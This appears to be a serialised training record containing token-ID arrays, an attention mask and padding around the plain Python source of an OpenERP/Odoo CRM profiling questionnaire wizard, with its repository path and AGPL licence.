199, 893, 26, 272, 485, 785, 275, 2943, 14, 1692, 804, 272, 485, 1222, 533, 275, 413, 199, 2590, 4281, 26, 272, 1021, 485, 785, 520, 986, 272, 485, 1222, 533, 275, 378, 421, 199, 1244, 45, 63, 1734, 6790, 3830, 10934, 275, 485, 335, 77, 773, 14, 1244, 45, 63, 1734, 6790, 3830, 10934, 199, 1244, 45, 63, 6790, 3830, 10934, 275, 485, 335, 77, 773, 14, 1244, 45, 63, 6790, 3830, 10934, 199, 1244, 45, 63, 4283, 63, 3243, 5304, 275, 485, 335, 77, 773, 14, 1244, 45, 63, 4283, 63, 3243, 5304, 199, 533, 682, 77, 5072, 2354, 1547, 785, 304, 272, 636, 9676, 63, 409, 2474, 363, 275, 1052, 272, 636, 10202, 363, 275, 2400, 291, 12, 536, 12, 574, 26, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 536, 12, 574, 9, 272, 636, 9676, 63, 362, 2474, 363, 275, 1052, 272, 636, 5675, 363, 275, 2400, 291, 12, 536, 26, 485, 9676, 63, 5675, 8, 277, 12, 682, 77, 5072, 2354, 12, 536, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 928, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 928, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 362, 272, 340, 485, 1222, 533, 26, 928, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 409, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 1267, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 1267, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 362, 272, 340, 485, 1222, 533, 26, 1267, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 409, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 2638, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 2638, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 362, 272, 340, 485, 1222, 533, 26, 2638, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 409, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 515, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 515, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 362, 272, 340, 485, 1222, 533, 26, 515, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 409, 9, 272, 347, 636, 826, 721, 277, 19166, 589, 304, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 297, 4838, 1547, 335, 77, 773, 14, 1222, 63, 335, 77, 5072, 2354, 12, 589, 430, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 944, 297, 413, 9, 272, 347, 636, 2264, 721, 277, 12, 11972, 29, 485, 335, 77, 773, 14, 1807, 63, 335, 77, 5072, 2354, 304, 267, 862, 26, 288, 340, 291, 14, 3749, 944, 26, 11972, 8, 277, 9, 267, 871, 26, 986, 272, 347, 636, 2722, 721, 277, 304, 267, 372, 3886, 35, 682, 77, 5072, 2354, 1256, 737, 450, 83, 4335, 450, 334, 277, 14, 3749, 4258, 199, 199, 533, 682, 77, 5072, 2354, 2115, 8, 335, 77, 5072, 2354, 304, 272, 347, 636, 826, 721, 277, 12, 3749, 304, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 297, 642, 9, 267, 340, 440, 2688, 8, 277, 4589, 3749, 944, 2349, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 944, 297, 378, 9, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 277, 855, 533, 3108, 335, 77, 5072, 2354, 9, 199, 63, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 22875, 8, 335, 77, 5072, 2354, 2115, 9, 199, 199, 335, 77, 63, 1490, 275, 485, 335, 77, 773, 14, 335, 77, 63, 1490, 199, 199, 335, 77, 63 ]
[ 961, 570, 1990, 2737, 5847, 701, 26480, 14, 199, 3, 7529, 1133, 2811, 642, 570, 12, 2811, 314, 26480, 3217, 3140, 14, 199, 3, 961, 570, 365, 9025, 543, 3865, 31205, 436, 892, 13, 2487, 3992, 14, 199, 199, 504, 19238, 14, 5559, 492, 8963, 199, 199, 63, 335, 77, 773, 12, 682, 77, 773, 63, 1508, 275, 8963, 459, 335, 77, 773, 418, 199, 199, 692, 682, 77, 773, 63, 1508, 26, 272, 746, 6064, 360, 4276, 370, 2248, 682, 77, 773, 26, 6681, 335, 77, 773, 63, 1508, 9, 199, 199, 318, 485, 9676, 63, 10202, 8, 277, 12, 533, 63, 466, 12, 354, 12, 585, 304, 272, 340, 334, 354, 508, 298, 3749, 2349, 267, 340, 1228, 8, 585, 12, 1021, 63, 466, 304, 288, 291, 855, 807, 12298, 354, 61, 275, 574, 14, 3749, 288, 340, 2688, 8, 585, 4589, 3749, 944, 2349, 291, 855, 807, 363, 905, 3749, 944, 937, 275, 574, 14, 3749, 944, 288, 2150, 574, 14, 3749, 944, 288, 372, 272, 1083, 275, 1021, 63, 466, 855, 9676, 63, 409, 2474, 4343, 362, 8, 354, 12, 403, 9, 272, 340, 1083, 26, 372, 1083, 8, 277, 12, 585, 9, 272, 291, 855, 807, 12298, 354, 61, 275, 574, 199, 199, 318, 485, 9676, 63, 5675, 8, 277, 12, 533, 63, 466, 12, 354, 304, 272, 1083, 275, 1021, 63, 466, 855, 9676, 63, 362, 2474, 4343, 362, 8, 354, 12, 403, 9, 272, 340, 1083, 26, 372, 1083, 8, 277, 9, 272, 746, 4281, 12, 354, 199, 199, 646, 2943, 199, 893, 26, 272, 485, 785, 275, 2943, 14, 1692, 804, 272, 485, 1222, 533, 275, 413, 199, 2590, 4281, 26, 272, 1021, 485, 785, 520, 986, 272, 485, 1222, 533, 275, 378, 421, 199, 1244, 45, 63, 1734, 6790, 3830, 10934, 275, 485, 335, 77, 773, 14, 1244, 45, 63, 1734, 6790, 3830, 10934, 199, 1244, 45, 63, 6790, 3830, 10934, 275, 485, 335, 77, 773, 14, 1244, 45, 63, 6790, 3830, 10934, 199, 1244, 45, 63, 4283, 63, 3243, 5304, 275, 485, 335, 77, 773, 14, 1244, 45, 63, 4283, 63, 3243, 5304, 199, 533, 682, 77, 5072, 2354, 1547, 785, 304, 272, 636, 9676, 63, 409, 2474, 363, 275, 1052, 272, 636, 10202, 363, 275, 2400, 291, 12, 536, 12, 574, 26, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 536, 12, 574, 9, 272, 636, 9676, 63, 362, 2474, 363, 275, 1052, 272, 636, 5675, 363, 275, 2400, 291, 12, 536, 26, 485, 9676, 63, 5675, 8, 277, 12, 682, 77, 5072, 2354, 12, 536, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 928, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 928, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 362, 272, 340, 485, 1222, 533, 26, 928, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 928, 63, 409, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 1267, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 1267, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 362, 272, 340, 485, 1222, 533, 26, 1267, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 1267, 63, 409, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 2638, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 2638, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 362, 272, 340, 485, 1222, 533, 26, 2638, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 2638, 63, 409, 9, 272, 636, 9676, 63, 409, 2474, 363, 905, 515, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 409, 272, 636, 9676, 63, 362, 2474, 363, 905, 515, 937, 275, 485, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 362, 272, 340, 485, 1222, 533, 26, 515, 275, 3324, 1547, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 362, 16987, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 515, 63, 409, 9, 272, 347, 636, 826, 721, 277, 19166, 589, 304, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 297, 4838, 1547, 335, 77, 773, 14, 1222, 63, 335, 77, 5072, 2354, 12, 589, 430, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 944, 297, 413, 9, 272, 347, 636, 2264, 721, 277, 12, 11972, 29, 485, 335, 77, 773, 14, 1807, 63, 335, 77, 5072, 2354, 304, 267, 862, 26, 288, 340, 291, 14, 3749, 944, 26, 11972, 8, 277, 9, 267, 871, 26, 986, 272, 347, 636, 2722, 721, 277, 304, 267, 372, 3886, 35, 682, 77, 5072, 2354, 1256, 737, 450, 83, 4335, 450, 334, 277, 14, 3749, 4258, 199, 199, 533, 682, 77, 5072, 2354, 2115, 8, 335, 77, 5072, 2354, 304, 272, 347, 636, 826, 721, 277, 12, 3749, 304, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 297, 642, 9, 267, 340, 440, 2688, 8, 277, 4589, 3749, 944, 2349, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 283, 3749, 944, 297, 378, 9, 267, 485, 9676, 63, 10202, 8, 277, 12, 682, 77, 5072, 2354, 12, 277, 855, 533, 3108, 335, 77, 5072, 2354, 9, 199, 63, 335, 77, 773, 14, 335, 77, 5072, 2354, 63, 22875, 8, 335, 77, 5072, 2354, 2115, 9, 199, 199, 335, 77, 63, 1490, 275, 485, 335, 77, 773, 14, 335, 77, 63, 1490, 199, 199, 335, 77, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ujjwalwahi/odoo
addons/crm_profiling/wizard/open_questionnaire.py
333
3800
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## from openerp.osv import fields, osv from openerp.tools.translate import _ class open_questionnaire_line(osv.osv_memory): _name = 'open.questionnaire.line' _rec_name = 'question_id' _columns = { 'question_id': fields.many2one('crm_profiling.question','Question', required=True), 'answer_id': fields.many2one('crm_profiling.answer', 'Answer'), 'wizard_id': fields.many2one('open.questionnaire', 'Questionnaire'), } class open_questionnaire(osv.osv_memory): _name = 'open.questionnaire' _columns = { 'questionnaire_id': fields.many2one('crm_profiling.questionnaire', 'Questionnaire name'), 'question_ans_ids': fields.one2many('open.questionnaire.line', 'wizard_id', 'Question / Answers'), } def default_get(self, cr, uid, fields, context=None): if context is None: context = {} res = super(open_questionnaire, self).default_get(cr, uid, fields, context=context) questionnaire_id = context.get('questionnaire_id', False) if questionnaire_id and 'question_ans_ids' in fields: query = """ select question as question_id from profile_questionnaire_quest_rel where questionnaire = %s""" cr.execute(query, (questionnaire_id,)) result = cr.dictfetchall() res.update(question_ans_ids=result) return res def questionnaire_compute(self, cr, uid, ids, context=None): """ Adds selected answers in partner form """ model = context.get('active_model') answers = [] if model == 'res.partner': data = self.browse(cr, uid, ids[0], context=context) for d in data.question_ans_ids: if d.answer_id: answers.append(d.answer_id.id) self.pool[model]._questionnaire_compute(cr, uid, answers, context=context) return {'type': 'ir.actions.act_window_close'} def build_form(self, cr, uid, ids, context=None): """ Dynamically generates form according to selected questionnaire """ models_data = self.pool.get('ir.model.data') result = models_data._get_id(cr, uid, 'crm_profiling', 'open_questionnaire_form') res_id = models_data.browse(cr, uid, result, context=context).res_id datas = self.browse(cr, uid, ids[0], context=context) context = dict(context or {}, questionnaire_id=datas.questionnaire_id.id) return { 'name': _('Questionnaire'), 'view_type': 'form', 'view_mode': 'form', 'res_model': 'open.questionnaire', 'type': 'ir.actions.act_window', 'views': [(res_id,'form')], 'target': 'new', 'context': context } # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 199, 533, 1551, 63, 4790, 3540, 3621, 63, 604, 8, 4795, 14, 4795, 63, 4844, 304, 272, 485, 354, 275, 283, 1490, 14, 4790, 3540, 3621, 14, 604, 7, 272, 485, 2761, 63, 354, 275, 283, 4790, 63, 344, 7, 272, 485, 3406, 275, 469, 267, 283, 4790, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 15213, 63, 496, 19294, 14, 4790, 1673, 16778, 297, 1415, 29, 549, 395, 267, 283, 5934, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 15213, 63, 496, 19294, 14, 5934, 297, 283, 19104, 659, 267, 283, 9819, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 1490, 14, 4790, 3540, 3621, 297, 283, 16778, 3540, 3621, 659, 272, 789, 421, 199, 533, 1551, 63, 4790, 3540, 3621, 8, 4795, 14, 4795, 63, 4844, 304, 272, 485, 354, 275, 283, 1490, 14, 4790, 3540, 3621, 7, 272, 485, 3406, 275, 469, 267, 283, 4790, 3540, 3621, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 15213, 63, 496, 19294, 14, 4790, 3540, 3621, 297, 283, 16778, 3540, 3621, 536, 659, 267, 283, 4790, 63, 796, 63, 1580, 356, 1504, 14, 368, 18, 3479, 360, 1490, 14, 4790, 3540, 3621, 14, 604, 297, 283, 9819, 63, 344, 297, 283, 16778, 1182, 437, 561, 12203, 659, 272, 789, 339, 347, 849, 63, 362, 8, 277, 12, 2467, 12, 1747, 12, 1504, 12, 1067, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 1067, 275, 1052, 267, 522, 275, 1613, 8, 1490, 63, 4790, 3540, 3621, 12, 291, 680, 885, 63, 362, 8, 1556, 12, 1747, 12, 1504, 12, 1067, 29, 1100, 9, 267, 7894, 3540, 3621, 63, 344, 275, 1067, 14, 362, 360, 4790, 3540, 3621, 63, 344, 297, 756, 9, 267, 340, 7894, 3540, 3621, 63, 344, 436, 283, 4790, 63, 796, 63, 1580, 7, 315, 1504, 26, 288, 1827, 275, 408, 355, 3504, 7894, 465, 7894, 63, 344, 687, 4690, 63, 4790, 3540, 3621, 63, 613, 63, 3369, 2382, 7894, 3540, 3621, 275, 450, 83, 624, 288, 2467, 14, 2526, 8, 1131, 12, 334, 4790, 3540, 3621, 63, 344, 4641, 288, 754, 275, 2467, 14, 807, 10174, 342, 288, 522, 14, 873, 8, 4790, 63, 796, 63, 1580, 29, 1099, 9, 267, 372, 522, 339, 347, 7894, 3540, 3621, 63, 3357, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 408, 15747, 4895, 17133, 315, 5854, 1824, 408, 267, 1402, 275, 1067, 14, 362, 360, 2682, 63, 1238, 358, 267, 17133, 275, 942, 267, 340, 1402, 508, 283, 470, 14, 3899, 356, 288, 666, 275, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 59, 16, 467, 1067, 29, 1100, 9, 288, 367, 366, 315, 666, 14, 4790, 63, 796, 63, 1580, 26, 326, 340, 366, 14, 5934, 63, 344, 26, 2151, 17133, 14, 740, 8, 68, 14, 5934, 63, 344, 14, 344, 9, 288, 291, 14, 2293, 59, 1238, 18289, 4790, 3540, 3621, 63, 3357, 8, 1556, 12, 1747, 12, 17133, 12, 1067, 29, 1100, 9, 267, 372, 791, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 63, 1600, 936, 2378, 347, 1900, 63, 964, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 408, 21907, 1183, 12821, 1824, 7182, 370, 4895, 7894, 3540, 3621, 408, 267, 1709, 63, 576, 275, 291, 14, 2293, 14, 362, 360, 723, 14, 1238, 14, 576, 358, 267, 754, 275, 1709, 63, 576, 423, 362, 63, 344, 8, 1556, 12, 1747, 12, 283, 15213, 63, 496, 19294, 297, 283, 1490, 63, 4790, 3540, 3621, 63, 964, 358, 267, 522, 63, 344, 275, 1709, 63, 576, 14, 4570, 8, 1556, 12, 1747, 12, 754, 12, 1067, 29, 1100, 680, 470, 63, 344, 267, 15012, 275, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 59, 16, 467, 1067, 29, 1100, 9, 267, 1067, 275, 1211, 8, 1100, 503, 5479, 7894, 3540, 3621, 63, 344, 29, 11563, 14, 4790, 3540, 3621, 63, 344, 14, 344, 9, 398, 372, 469, 288, 283, 354, 356, 4018, 16778, 3540, 3621, 659, 288, 283, 1345, 63, 466, 356, 283, 964, 297, 288, 283, 1345, 63, 632, 356, 283, 964, 297, 288, 283, 470, 63, 1238, 356, 283, 1490, 14, 4790, 3540, 3621, 297, 288, 283, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 297, 288, 283, 4196, 356, 3842, 470, 63, 344, 2584, 964, 2665, 288, 283, 1375, 356, 283, 1222, 297, 288, 283, 1100, 356, 1067, 267, 789, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 4605, 199, 3, 199, 3, 259, 7653, 12, 3232, 5800, 8259, 9274, 199, 3, 259, 1898, 334, 35, 9, 8353, 13, 6542, 11947, 12361, 8642, 1014, 921, 9864, 14, 1235, 10121, 199, 3, 199, 3, 259, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 259, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 259, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 259, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 259, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 259, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 259, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 259, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 259, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 259, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 4605, 199, 199, 504, 5166, 14, 4795, 492, 1504, 12, 9506, 199, 504, 5166, 14, 2537, 14, 5275, 492, 485, 199, 199, 533, 1551, 63, 4790, 3540, 3621, 63, 604, 8, 4795, 14, 4795, 63, 4844, 304, 272, 485, 354, 275, 283, 1490, 14, 4790, 3540, 3621, 14, 604, 7, 272, 485, 2761, 63, 354, 275, 283, 4790, 63, 344, 7, 272, 485, 3406, 275, 469, 267, 283, 4790, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 15213, 63, 496, 19294, 14, 4790, 1673, 16778, 297, 1415, 29, 549, 395, 267, 283, 5934, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 15213, 63, 496, 19294, 14, 5934, 297, 283, 19104, 659, 267, 283, 9819, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 1490, 14, 4790, 3540, 3621, 297, 283, 16778, 3540, 3621, 659, 272, 789, 421, 199, 533, 1551, 63, 4790, 3540, 3621, 8, 4795, 14, 4795, 63, 4844, 304, 272, 485, 354, 275, 283, 1490, 14, 4790, 3540, 3621, 7, 272, 485, 3406, 275, 469, 267, 283, 4790, 3540, 3621, 63, 344, 356, 1504, 14, 3479, 18, 368, 360, 15213, 63, 496, 19294, 14, 4790, 3540, 3621, 297, 283, 16778, 3540, 3621, 536, 659, 267, 283, 4790, 63, 796, 63, 1580, 356, 1504, 14, 368, 18, 3479, 360, 1490, 14, 4790, 3540, 3621, 14, 604, 297, 283, 9819, 63, 344, 297, 283, 16778, 1182, 437, 561, 12203, 659, 272, 789, 339, 347, 849, 63, 362, 8, 277, 12, 2467, 12, 1747, 12, 1504, 12, 1067, 29, 403, 304, 267, 340, 1067, 365, 488, 26, 1067, 275, 1052, 267, 522, 275, 1613, 8, 1490, 63, 4790, 3540, 3621, 12, 291, 680, 885, 63, 362, 8, 1556, 12, 1747, 12, 1504, 12, 1067, 29, 1100, 9, 267, 7894, 3540, 3621, 63, 344, 275, 1067, 14, 362, 360, 4790, 3540, 3621, 63, 344, 297, 756, 9, 267, 340, 7894, 3540, 3621, 63, 344, 436, 283, 4790, 63, 796, 63, 1580, 7, 315, 1504, 26, 288, 1827, 275, 408, 355, 3504, 7894, 465, 7894, 63, 344, 687, 4690, 63, 4790, 3540, 3621, 63, 613, 63, 3369, 2382, 7894, 3540, 3621, 275, 450, 83, 624, 288, 2467, 14, 2526, 8, 1131, 12, 334, 4790, 3540, 3621, 63, 344, 4641, 288, 754, 275, 2467, 14, 807, 10174, 342, 288, 522, 14, 873, 8, 4790, 63, 796, 63, 1580, 29, 1099, 9, 267, 372, 522, 339, 347, 7894, 3540, 3621, 63, 3357, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 408, 15747, 4895, 17133, 315, 5854, 1824, 408, 267, 1402, 275, 1067, 14, 362, 360, 2682, 63, 1238, 358, 267, 17133, 275, 942, 267, 340, 1402, 508, 283, 470, 14, 3899, 356, 288, 666, 275, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 59, 16, 467, 1067, 29, 1100, 9, 288, 367, 366, 315, 666, 14, 4790, 63, 796, 63, 1580, 26, 326, 340, 366, 14, 5934, 63, 344, 26, 2151, 17133, 14, 740, 8, 68, 14, 5934, 63, 344, 14, 344, 9, 288, 291, 14, 2293, 59, 1238, 18289, 4790, 3540, 3621, 63, 3357, 8, 1556, 12, 1747, 12, 17133, 12, 1067, 29, 1100, 9, 267, 372, 791, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 63, 1600, 936, 2378, 347, 1900, 63, 964, 8, 277, 12, 2467, 12, 1747, 12, 2762, 12, 1067, 29, 403, 304, 267, 408, 21907, 1183, 12821, 1824, 7182, 370, 4895, 7894, 3540, 3621, 408, 267, 1709, 63, 576, 275, 291, 14, 2293, 14, 362, 360, 723, 14, 1238, 14, 576, 358, 267, 754, 275, 1709, 63, 576, 423, 362, 63, 344, 8, 1556, 12, 1747, 12, 283, 15213, 63, 496, 19294, 297, 283, 1490, 63, 4790, 3540, 3621, 63, 964, 358, 267, 522, 63, 344, 275, 1709, 63, 576, 14, 4570, 8, 1556, 12, 1747, 12, 754, 12, 1067, 29, 1100, 680, 470, 63, 344, 267, 15012, 275, 291, 14, 4570, 8, 1556, 12, 1747, 12, 2762, 59, 16, 467, 1067, 29, 1100, 9, 267, 1067, 275, 1211, 8, 1100, 503, 5479, 7894, 3540, 3621, 63, 344, 29, 11563, 14, 4790, 3540, 3621, 63, 344, 14, 344, 9, 398, 372, 469, 288, 283, 354, 356, 4018, 16778, 3540, 3621, 659, 288, 283, 1345, 63, 466, 356, 283, 964, 297, 288, 283, 1345, 63, 632, 356, 283, 964, 297, 288, 283, 470, 63, 1238, 356, 283, 1490, 14, 4790, 3540, 3621, 297, 288, 283, 466, 356, 283, 723, 14, 3723, 14, 2442, 63, 3806, 297, 288, 283, 4196, 356, 3842, 470, 63, 344, 2584, 964, 2665, 288, 283, 1375, 356, 283, 1222, 297, 288, 283, 1100, 356, 1067, 267, 789, 199, 199, 3, 6695, 26, 10379, 26, 10558, 26, 6492, 29, 20, 26, 10503, 29, 20, 26, 10425, 29, 20, 26, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 